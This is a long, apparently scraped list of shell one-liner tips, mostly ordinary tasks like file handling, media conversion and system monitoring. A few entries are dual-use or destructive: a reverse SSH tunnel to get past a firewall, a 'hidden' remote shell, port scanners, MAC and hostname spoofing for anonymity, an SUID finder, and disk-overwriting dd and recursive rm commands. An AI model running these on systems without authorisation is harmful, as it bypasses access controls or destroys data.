curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
Password Generation
pwgen --alt-phonics --capitalize 9 10
Extract a bash function
sed -n '/^function h\(\)/,/^}/p' script.sh
View a man page on a nice interface
yelp man:foo
Flush DNS cache in MacOS 10.5
dscacheutil -flushcache
Generate 10 pronunciable passwords
apg -a 0 -n 10
Emptying a text file in one shot
:1,$d
Resize photos without changing exif
mogrify -format jpg -quality 80 -resize 800 *.jpg
Output system statistics every 5 seconds with timestamp
while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done
Tail a log file with long lines truncated
tail -f logfile.log | cut -b 1-80
Recursively lists all files in the current directory, except the ones in '.snapshot' directory
find . -wholename './.snapshot' -prune -o -print
burn a isofile to cd or dvd
cdrecord -v dev=/dev/cdrom yourimage.iso
Display rows and columns of random numbers with awk
seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'
Add thousand separator with sed, in a file or within pipe
sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename
Optimize Xsane PDFs
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf
Show directories in the PATH, one per line
( IFS=:; for p in $PATH; do echo $p; done )
find the longest command in your history
history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1
Scan for new SCSI devices
echo "- - -" > /sys/class/scsi_host/host0/scan
Bash autocomplete case insensitive search
shopt -s nocaseglob
create a backup for all directories from current dir
find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}
To have only unique lines in a file
sort file1.txt | uniq > file2.txt
Debug bash shell scripts.
bash -x SCRIPT
Convert your favorite image in xpm for using in grub
convert image123.png -colors 14 -resize 640x480 grubimg.xpm
Open Perl module source in your editor
$EDITOR `perldoc -l Module::Name`
Never rewrites a file while copying (or moving)
cp --backup=t source.file target.file
Change the extension of a filename by using rename to convert
rename .JPG .jpg *.JPG
Mac OS X: remove extra languages to save over 3 GB of space.
sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv
How to pull out lines between two patterns
perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt
create iso image from a directory
mkisofs -o XYZ.iso XYZ/
Check a server is up. If it isn't mail me.
ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
Create an SSH connection (reverse tunnel) through your firewall.
ssh -R 2001:localhost:22 [username]@[remote server ip]
Using tput to save, clear and restore the terminal contents
tput smcup; echo "Doing some things..."; sleep 2; tput rmcup
Get a MySQL DB dump from a remote machine
ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql
A little bash daemon =)
echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h -ar $!
Changing the terminal title to the last shell command
trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG
is today the end of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
randomize hostname and mac address, force dhcp renew. (for anonymous networking)
dhclient -r && rm -f /var/lib/dhcp3/dhclient* && sed "s=$(hostname)=REPLACEME=g" -i /etc/hosts && hostname "$(echo $RANDOM | md5sum | cut -c 1-7 | tr a-z A-Z)" && sed "s=REPLACEME=$(hostname)=g" -i /etc/hosts && macchanger -e eth0 && dhclient
Create/open/use encrypted directory
encfs ~/.crypt ~/crypt
Select and Edit a File in the Current Directory
PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done
command to change the exif date time of a image
exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg
connect via ssh using mac address
ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`
View Processeses like a fu, fu
command ps -Hacl -F S -A f
Copy all documents PDF in disk for your home directory
find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +
Convert filenames from ISO-8859-1 to UTF-8
convmv -r -f ISO-8859-1 -t UTF-8 --notest *
Check availability of Websites based on HTTP_CODE
urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done
Download file with multiple simultaneous connections
aria2c -s 4 http://my/url
Sum columns from CSV column $COL
awk -F ',' '{ x = x + $4 } END { print x }' test.csv
sed : using colons as separators instead of forward slashes
sed "s:/old/direcory/:/new/directory/:" <file>
how many packages installed on your archlinux?
pacman -Q|wc -l
Determine what version of bind is running on a dns server.
dig -t txt -c chaos VERSION.BIND @<dns.server.com>
put all lines in comment where de word DEBUG is found
sed -i 's/^.*DEBUG.*/#&/' $file
recursive reset file/dir perms
find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} +
Disable annoying sound emanations from the PC speaker
sudo rmmod pcspkr
Convert all WMF images to SVG recursively ignoring file extension case
find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o ${FILENAME}.svg $FILE; done
Show the disk usage for files pointed by symbolic link in a directory
find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh
Create a listing of all possible permissions and their octal representation.
touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$; P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$
Generate a playlist of all the files in the directory, newer first
find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2); print $2}' > /tmp/playlist.m3u
Monitor Linux/MD RAID Rebuild
watch -n 5 -d cat /proc/mdstat
"hidden" remote shell
ssh -T user@host /bin/bash -i
Find all files with root SUID or SGID executables
sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls
Watch contents of a file grow
tail -n 0 -f /var/log/messages
Prints new content of files
tail -f file1 (file2 .. fileN)
Kill most recently created process.
pkill -n firefox
Find out what package some command belongs to (on RPM systems)
rpm -qif `which more`
VMware Server print out the state of all registered Virtual Machines.
for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " " $3}';done
Symlink all files from a base directory to a target directory
for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target
Shows physically connected drives (SCSI or SATA)
ls /sys/bus/scsi/devices
Create an ISO Image from a folder and burn it to CD
hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso
Cleanly manage tempfiles in scripts
TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0
Set file access control lists
setfacl -m u:john:r-- myfile
memcache affinity: queries local memcached for stats, calculates hit/get ratio and prints it out.
echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l
Quickest way to sort/display !!! Example "of occurences
"some line input" | sort | uniq -c | sort -nr
Scans for open ports using telnet
HOST=127.0.0.1;for((port=1;port<=65535;++port)); do echo -en "$port ";if echo -en "open $HOST $port\nlogout\quit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null; then echo -en "\n\nport $port/tcp is open\n\n";fi;done | grep open
Find out the last times your system was rebooted (for the duration of wtmp).
last reboot
use the real 'rm', distribution brain-damage notwithstanding
\rm somefile
Convert df command to posix; uber GREPable
df -P
dump database from postgresql to a file
pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar
Cleanup Python bytecode files
find . -name "*.py[co]" -exec rm -f {} \;
vmstat/iostat with timestamp
vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'
Create a tar archive using 7z compression
tar cf - /path/to/data | 7z a -si archivename.tar.7z
Use xdg-open to avoid hard coding browser commands
xdg-open http://gmail.com
IFS - use entire lines in your for cycles
export IFS=$(echo -e "\n")
Search through files, ignoring .svn
find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>
Set an alarm to wake up [2]
echo "aplay path/to/song" |at [time]
securely erase unused blocks in a partition
cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredUnusedBlocks
Merges given files line by line
paste -d ',:' file1 file2 file3
Go (cd) directly into a new temp folder
cd "$(mktemp -d)"
Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i <filename>.flv -vn <filename>.mp3
Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)
tcs -f 8859-1 -t utf /some/file
Execute multiple commands from history
!219 ; !229 ; !221
burn an ISO image to writable CD
wodim cdimage.iso
Interactively build regular expressions
txt2regex
printing barcodes
ls /home | head -64 | barcode -t 4x16 | lpr
vi keybindings with info
info --vi-keys
Find brute force attempts on SSHd
cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n
raw MySQL output to use in pipes
mysql DATABASE -N -s -r -e 'SQL COMMAND'
List the largest directories & subdirectoties in the current directory sorted from largest to smallest.
du -k | sort -r -n | more
Decreasing the cdrom device speed
eject -x 4
rsync + find
rsync -avz -e ssh --files-from=<(find -mtime +30 -mtime -60) source dest
Convert images to a multi-page pdf
convert -adjoin -page A4 *.jpeg multipage.pdf
Fast command-line directory browsing
function cdls { cd $1; ls; }
Poke a Webserver to see what it's powered by.
wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server
Mount a partition from within a complete disk dump
INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]
List top 20 IP from which TCP connection is in SYN_RECV state
netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20
Who has the most Apache connections.
netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE
Exclude svn directories with grep
grep -r --exclude-dir=.svn PATTERN PATH
Quickly find a count of how many times invalid users have attempted to access your system
gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less
New files from parts of current buffer
:n,m w newfile.txt
mp3 streaming
nc -l -p 2000 < song.mp3
VIM version 7: edit in tabs
vim -p file1 file2 ...
Convert a bunch of HTML files from ISO-8859-1 to UTF-8 file encoding in a folder and all sub-folders
for x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv "$x.utf8" $x; done
Redirect a filehandle from a currently running process.
yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid
vimdiff local and remote files via ssh
vimdiff /path/to/file scp://remotehost//path/to/file
Open a man page as a PDF in Gnome
TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF
List your sudo rights
sudo -l
List only directory names
ls -d */
Create an SSH tunnel for accessing your remote MySQL database with a local port
ssh -CNL 3306:localhost:3306 user@site.com
Export MySQL query as .csv file
echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv
Add temporary swap space
dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile
scp file from hostb to hostc while logged into hosta
scp user@hostb:file user@hostc:
Get contents from hosts, passwd, groups even if they're in DB/LDAP/other
getent [group|hosts|networks|passwd|protocols|services] [keyword]
Does a full update and cleaning in one line
sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get autoremove
ubuntu easter eggs
apt-get moo
Get a quick list of all user and group owners of files and dirs under the cwd.
find -printf '%u %g\n' | sort | uniq
Wget Command to Download Full Recursive Version of Web Page
wget -p --convert-links http://www.foo.com
recurisvely md5 all files in a tree
find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5
Create a mirror of a local folder, on a remote server
rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/
seq can produce the same thing as Perl's … operator.
for i in $(seq 1 50) ; do echo Iteration $i ; done
Quick way to sum every numbers in a file written line by line
(sed 's/^/x+=/' [yourfile] ; echo x) | bc
watch process stack, sampled at 1s intervals
watch -n 1 'pstack 12345 | tac'
Add all files not under subversion control
for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;
Display time of accounts connection on a system
ac -p
Get your commandlinefu points (upvotes - downvotes)
username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/json|perl -e 'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf "%3.2f\n",$s/$n}' -0173 -nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s += $1; $n++;}}'
See multiple progress bars at once for multiple pipes with pv
pv -cN orig < foo.tar.bz2 | bzcat | pv -cN bzcat | gzip -9 | pv -cN gzip > foo.tar.gz
Minimize Apps When Middle Clicking on Titlebar
gconftool-2 --set "/apps/metacity/general/action_middle_click_titlebar" --type string "minimize"
Chrome sucks
ps -e -m -o user,pid,args,%mem,rss | grep Chrome | perl -ne 'print "$1\n" if / (\d+)$/' | ( x=0;while read line; do (( x += $line )); done; echo $((x/1024)) );
Add all unversioned files to svn
svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1
cat a file backwards
tac file.txt
fast access to any of your favorite directory.
alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'
List all accessed configuration files while executing a program in linux terminal (improved version)
strace 2>&1 <any_executable> |egrep -o "\".*\.conf\""
Generates a TV noise alike output in the terminal
while true;do printf "$(awk -v c="$(tput cols)" -v s="$RANDOM" 'BEGIN{srand(s);while(--c>=0){printf("\xe2\x96\\%s",sprintf("%o",150+int(10*rand())));}}')";done
Console clock
while sleep 1; do tput sc; tput cup 0 $(($(tput cols)-29)); date; tput rc; done &
Perform Real-time Process Monitoring Using Watch Utility
watch -n 1 'ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head'
Find all clients connected to HTTP or HTTPS ports
ss -o state established '( dport = :http or sport = :https )'
Scan all open ports without any required program
for i in {1..65535}; do (echo < /dev/tcp/127.0.0.1/$i) &>/dev/null && printf "\n[+] Open Port at\n: \t%d\n" "$i" || printf "."; done
Get Your IP Geographic Location with curl and jq
curl -s https://ipvigilante.com/$(curl -s https://ipinfo.io/ip) | jq '.data.latitude, .data.longitude, .data.city_name, .data.country_name'
Create multiple subfolders in one command.
mkdir -p /path/folder{1..4}
Find the package that installed a command
whatinstalled() { which "$@" | xargs -r readlink -f | xargs -r dpkg -S ;}
List latest 5 modified files recursively
find . -type f -printf '%T@ %TY-%Tm-%Td %TH:%TM:%.2TS %p\n' | sort -nr | head -n 5 | cut -f2- -d" "
Show the command line for a PID, converting nulls to spaces and a newline
xargs -0a /proc/27288/cmdline echo
Check how far along (in %) your program is in a file
F=bigdata.xz; lsof -o0 -o -Fo $F | awk -Ft -v s=$(stat -c %s $F) '/^o/{printf("%d%%\n", 100*$2/s)}'
What is my ip?
curl ifconfig.co/all.json
What is my ip?
curl ifconfig.co
Reload all sysctl variables without reboot
sysctl --system
Print one . instead of each line
alias ...="awk '{fflush(); printf \".\"}' && echo \"\""
Bitcoin Brainwallet Private Key Calculator
(read -r passphrase; b58encode 80$( brainwallet_exponent "$passphrase" )$( brainwallet_checksum "$passphrase" ))
Ping all hosts on 192.168.1.0/24
for i in {0..255} ; do (ping 192.168.1.$i -c 1 > /dev/null && echo "192.168.1.$i" & ) ; done
Show errors in the kernel ring buffer
dmesg -xT -l err,crit,emerg
Securely stream (and save) a file from a remote server
ssh USER@HOST cat REMOTE_FILE.mp4 | tee LOCAL_FILE.mp4 | mplayer -
Stream and copy a video from lan
nc HOST PORT | tee movie.mp4 | mplayer -
Diff 2 file struct - Useful for branch diff and jars diff(uncompressed)
diff <(cd A; find -type f|xargs md5sum ) <(cd B; find -type f | xargs md5sum )
Recursivly search current directory for files larger than 100MB
find -size +100M
Find files and calculate size of result in shell
find . -name "pattern" -type f -printf "%s\n" | awk '{total += $1} END {print total}'
a function to put environment variable in zsh history for editing
function eve (); { eval "print -s ${1?no variable}=\'\$$1\'" }
Start a quick rsync daemon for fast copying on internal secure network
rsync --daemon --port 1234 --no-detach -v --config rsyncd.conf
print all except first collumn
cut -f 2- -d " "
find out how many days since given date
echo "($(date +%s)-$(date +%s -d "march 1"))/86400"|bc
notify brightness level [custom]
notify-send " " -i notification-display-brightness-low -h int:value:50 -h string:x-canonical-private-synchronous:brightness
print DateTimeOriginal from EXIF data for all files in folder
for i in *.jpg; do identify -format %[EXIF:DateTimeOriginal] $i; echo; done
List all active access_logs for currently running Apache or Lighttpd process
lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'
Prevent non-root users from logging in
touch /etc/nologin
Binary clock
read -a A <<<"8 9 5 10 6 0 3 11 7 4";B='.*.**..*....***';for C in $(date +"%H%M"|fold -w1);do echo "${B:${A[C]}:4}";done
exit if another instance is running
if [ `fuser $0|wc -w` -gt "1" ];then exit; fi
output stats from a running dd command to see its progress
watch -n60 --kill -USR1 $(pgrep dd)
Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!; while [[ -d /proc/$pid ]]; do kill -USR1 $pid && sleep 1 && clear; done
Print average GPU core temperature
nvidia-settings -q gpucoretemp -t | awk '{s+=$1}END{print s/NR}' RS=" "
Find common groups between two users
grep -xFf <(groups user1|cut -f3- -d\ |sed 's/ /\n/g') <(groups user2|cut -f3- -d\ |sed 's/ /\n/g')
Print all git repos from a user (only curl and grep)
curl -s https://api.github.com/users/<username>/repos?per_page=1000 | grep -oP '(?<="git_url": ").*(?="\,)'
Gives you what's between first string and second string included.
sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC" | tr "~" "\n"
pinky - user info
pinky -l <username>
Get Futurama quotations from slashdot.org servers
lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'
Rename files with vim.
qmv -fdo
rsync directory tree including only files that match a certain find result.
find /src/dir/ -mtime -10 -printf %P\\0|rsync --files-from=- --from0 /src/dir/ /dst/dir/
pretend to be busy in office to enjoy a cup of coffee
export GREP_COLOR='1;32';while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump -C | grep --color=auto "ca fe"
What is my public IP address
curl ifconfig.me
Sort by IP address
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4
guitar synthesizer in one line of C
f=220;echo "int s=16e3/$f;main(i){unsigned char v[s];read(0,v,s);for(;;)putchar(v[i%s]=(v[i%s]+v[++i%s])/2);}"|gcc -x c -&&./a.out</dev/urandom|aplay -d 2
chmod - change file permissions of a file to be similar of another
chmod --reference=file1 file2
ls -qaltr !!! Example "list directory in chronological order, most recent files at end of list
ls -qaltr !!! Example "list directory in chronological order, most recent files at end of list
convert single digit to double digits
rename 's/\d+/sprintf("%02d",$&)/e' -- $@
launch bash without using any letters
${0/-/}
Migrate Server with rsync
rsync -ayz -e ssh --exclude=/proc --exclude=/sys --exclude=/dev / root@NEWHOST:/MNTDIR
resume download using curl
curl -C - -o partially_downloaded_file 'www.example.com/path/to/the/file'
Simulate slow network connection locally
sudo tc qdisc add dev lo root netem delay 500ms
generate a randome 10 character password
tr -dc A-Za-z0-9_ < /dev/urandom | head -c 10 | xargs
Make changes in .bashrc immediately available
. ~/.bashrc
open two files on top of each other in vim (one window, two panes)
vim -o file1 file2
vim as a pager - similar to less command but with color
alias vless='/usr/share/vim/vimcurrent/macros/less.sh'
Search commandlinefu and view syntax-highlighted results in vim
cmdfu(){ local t=~/cmdfu;echo -e "\n!!! Example "$1 {{{1">>$t;curl -s "commandlinefu.com/commands/matching/$1/`echo -n $1|base64`/plaintext"|sed '1,2d;s/^#.*/& {{{2/g'>$t;vim -u /dev/null -c "set ft=sh fdm=marker fdl=1 noswf" -M $t;rm $t; }
Remove comments from files
sed -e '/^#/d' -e 's/#.*$//' in
Stop procrastination on Facebook.com
sudo sh -c "echo '127.0.0.1 www.facebook.com' >> /etc/hosts"
urldecoding with one pure BASH builtin
VAR="%23%21%2fbin%2fbash" ; printf -v VAR "%b" "${VAR//\%/\x}" ; echo $VAR
Rank top 10 most frequently used commands
history | cut -c8- | sort | uniq -c | sort -rn | head
Display the number of connections to a MySQL Database
mysql -u root -p -BNe "select host,count(host) from processlist group by host;" information_schema
Copy all files, including hidden files, recursively without traversing backward
cp -r * .??* /dest
Create a local compressed tarball from remote host directory
ssh user@host "tar -cf - /path/to/dir" | gzip > dir.tar.gz
convert from decimal to hexadecimal
hex() { printf "%X\n" $1; }
Set up alarm with fade-in, for graceful awakening
at 8:30 <<<'mpc volume 20; mpc play; for i in `seq 1 16`; do sleep 2; mpc volume +5; done'
generate random identicon
curl -s "http://www.gravatar.com/avatar/`uuidgen | md5sum | awk '{print $1}'`?s=64&d=identicon&r=PG" | display
remap Caps_Lock to Escape
xmodmap -e 'clear Lock' -e 'keycode 0x42 = Escape'
Find out which debian package a command (executable) belongs to on debian-based distros
function whichpkg() { readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; }
Convert string to uppercase
echo string | tr '[:lower:]' '[:upper:]'
Restore a local drive from the image on remote host via ssh
ssh user@server 'dd if=sda.img' | dd of=/dev/sda
Show sorted list of files with sizes more than 1MB in the current dir
du | sort -nr | cut -f2- | xargs du -hs
Get your commandlinefu points (upvotes - downvotes)
curl -s http://www.commandlinefu.com/commands/by/$1/xml | awk -F'</?div[^>]*>' '/class=\"command\"/{gsub(/"/,"\"",$2); gsub(/</,"<",$2); gsub(/>/,">",$2); gsub(/&/,"\\&",$2); cmd=$2} /class=\"num-votes\"/{printf("%3i %s\n", $2, cmd)}'
Size (in bytes) of all RPM packages installed
echo $((`rpm -qa --queryformat='%{SIZE}+' | sed 's/+$//'`))
Find and remove core files
find . -type f -regex '.*/core\.?[0-9]*$' -delete
shuffle lines via perl
seq 1 9 | perl -e 'print sort { (-1,1)[rand(2)] } <>'
Get all upgradable deb packages in a single line
apt list --upgradable | grep -v 'Listing...' | cut -d/ -f1 | tr '\r\n' ' ' | sed '$s/ $/\n/'
Benchmark a hard drive
sudo hdparm -Tt /dev/sda
Expand shortened URLs
expandurl() { curl -s "http://api.longurl.org/v2/expand?url=${1}&format=php" | awk -F '"' '{print $4}' }
Remove blank lines
sed '/^$/d'
make directory with current date
mkdir $(date +%Y_%m_%d)
Big Countdown Clock in seconds
i=$((15*60)); while [ $i -gt 0 ]; do clear; echo $i | figlet; sleep 1; i=$(($i-1)); done;
Remount an already-mounted filesystem without unmounting it
mount -o remount,ro /dev/foo /
Copy from host 1 to host 2 through your host
ssh root@host1 ?cd /somedir/tocopy/ && tar -cf ? .? | ssh root@host2 ?cd /samedir/tocopyto/ && tar -xf -?
Monitor RAID IO Usage
iotop -a -p $(sed 's, , -p ,g' <<<`pgrep "_raid|_resync|jbd2"`)
Best SSH options for X11 forwarding
alias ssh-x='ssh -c arcfour,blowfish-cbc -XC'
cymru malware check
md5sum filename | ncat hash.cymru.com 43
Get your Firefox bookmarks
sqlite3 ~/.mozilla/firefox/*.[dD]efault/places.sqlite "SELECT strftime('%d.%m.%Y %H:%M:%S', dateAdded/1000000, 'unixepoch', 'localtime'),url FROM moz_places, moz_bookmarks WHERE moz_places.id = moz_bookmarks.fk ORDER BY dateAdded;"
Start a local web server in the current directory on a random dynamic port.
python3 -m http.server --bind localhost $(shuf -i 49152-65000 -n1)
Create a simple video contact sheet using the vcs bash script
vcs -c 3 -H 220 -n 24 -dt -ds -dp -j --anonymous -O bg_heading=black -O bg_sign=black -O fg_heading=white -O fg_heading=white -O fg_sign=white -O fg_title=white -O font_heading=DejaVu-Sans-Bold -O quality=70
Pick a random image from a directory (and subdirectories) every thirty minutes and set it as xfce4 wallpaper
while :; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done
Show current pathname in title of terminal
export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'
Play all the music in a folder, on shuffle
mplayer -shuffle *
give me back my sound card
lsof /dev/snd/pcm*p /dev/dsp | awk ' { print $2 }' | xargs kill
gzip compression with progress bar and remaining time displayed
pv file | gzip > file.gz
Save a file you edited in vim without the needed permissions
command W :execute ':silent w !sudo tee % > /dev/null' | :edit!
Recording the desktop and an application audio source for webcast
ffmpeg -f alsa -ac 2 -i pulse -f x11grab -r 30 -s 1024x768 -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 ./Desktop/mydesktop.mkv
Set audible alarm when an IP address comes online
until ping -c1 ADDRESS;do true;done;zenity --warning --text "ADDRESS is back"
Print a cron formatted time for 2 minutes in the future (for crontab testing)
crontest () { date '-d +2 minutes' +'%M %k %d %m *'; }
Binary difference of two files
bsdiff <oldfile> <newfile> <patchfile>
cut audio file
ffmpeg -ss 00:00:30 -t 00:02:58 -i input.mp3 -acodec copy ouput.mp3
Extracting a range of pages from a PDF, using GhostScript
gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage=14 -dLastPage=17 -sOutputFile=OUTPUT.pdf ORIGINAL.pdf
output length of longest line
wc -L
Find all files of a type and copy them elsewhere while keeping intact their full directory structure using find and cpio
find . -iname "*.flac" | cpio -pdm /Volumes/Music/FLAC
Chmod all directories (excluding files)
find public_html/ -type d -exec chmod 755 {} +
To Stop or Start (Restart) a Windows service from a Linux machine
net rpc -I indirizzoip -U nomeutente%password servizio {stop|start} nomedelservizio
Cheap iftop
watch 'netstat -anptu |egrep "^Proto|:80 "'
Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename 's/foo/bar/g' ./*
Load average + API google chart
limite="5";load5=$(awk '{print $1}' /proc/loadavg);echo "http://chart.apis.google.com/chart?chxr=0,0,5&chxt=y&chs=700x240&cht=gm&chds=0,"$limite"&chd=t:"$load5"&chl="$load5"&chtt=$(hostname)+load+average"
mirrors directory to a ftp server
lftp -ulogin,passwd -e "mirror --reverse /my/from/dir/ /ftp/target/dir/" ftp.server.xx
Stop All Wine Apps and Processes
wineserver -k
Watch Aljazeera live
rtmpdump -v -r rtmp://livestfslivefs.fplive.net/livestfslive-live/ -y "aljazeera_en_veryhigh" -a "aljazeeraflashlive-live" -o -| mplayer -
easily strace all your apache processes
ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace
va - alias for editing aliases
alias va='vi ~/.aliases; source ~/.aliases && echo "aliases sourced"'
cd to (or operate on) a file across parallel directories
cd ${PWD/a/b}
ARP Scan
sudo arp-scan -l
simulated text generator
tr -dc a-z0-9 </dev/urandom | tr 0-8 \ | tr 9 \\n | sed 's/^[ \t]*//' | fmt -u
Terminal Keyboard Shortcut list
echo -e "Terminal shortcut keys\n" && sed -e 's/\^/Ctrl+/g;s/M-/Shift+/g' <(stty -a 2>&1| sed -e 's/;/\n/g' | grep "\^" | tr -d ' ')
backs up at the date today
cp -i FILENAME{,.`date +%Y%m%d`}
Continually monitor things
while (true); do clear; uname -n; echo ""; df -h /; echo ""; tail -5 /var/log/auth.log; echo ""; vmstat 1 5; sleep 15; done
draw mesh
seq -s " \\_/" 256|tr -d "0-9"|fold -70
Edit Camera Model in metadata:
exiftool -model="Samsung Galaxy S11 PRO EDITION " a.jpg
Copy input sent to a command to stderr
rev <<< 'lorem ipsum' | tee /dev/stderr | rev
fetch all revisions of a specific file in an SVN repository
svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
Quick HTML image gallery
find . -iname "*.jpg" -printf '<img src="%f" title="%f">\n' > gallery.html
list unique file extensions recursively for a path, include extension frequency stats
find /some/path -type f -printf '%f\n' | grep -o '\..\+$' | sort | uniq -c | sort -rn
Manipulate the metadata when the photo was taken, this will shift with +15hours + 30min
exiftool "-DateTimeOriginal+=0:0:0 15:30:0" a.jpg
Read almost everything (Changelog.gz, .tgz, .deb, .png, .pdf, etc, etc....)
less -r <some file>
sorting file contents into individual files with awk
awk '{print > $3".txt"}' FILENAME
Get your outgoing IP address
curl icanhazip.com
Viewing Top Processes according to cpu, mem, swap size, etc.
command ps wwo pid,user,group,vsize:8,size:8,sz:6,rss:6,pmem:7,pcpu:7,time:7,wchan,sched=,stat,flags,comm,args k -vsz -A|sed -u '/^ *PID/d;10q'
doing some floating point math
echo "8000000/(20*6*86400)" | bc -l
Puts every word from a file into a new line
tr ' \t' '\n' <INFILE >OUTFILE
Read aloud a text file in Ubuntu (and other Unixes with espeak installed
espeak -f text.txt
get colorful side-by-side diffs of files in svn with vim
vimdiff <(svn cat "$1") "$1"
List only directories, one per line
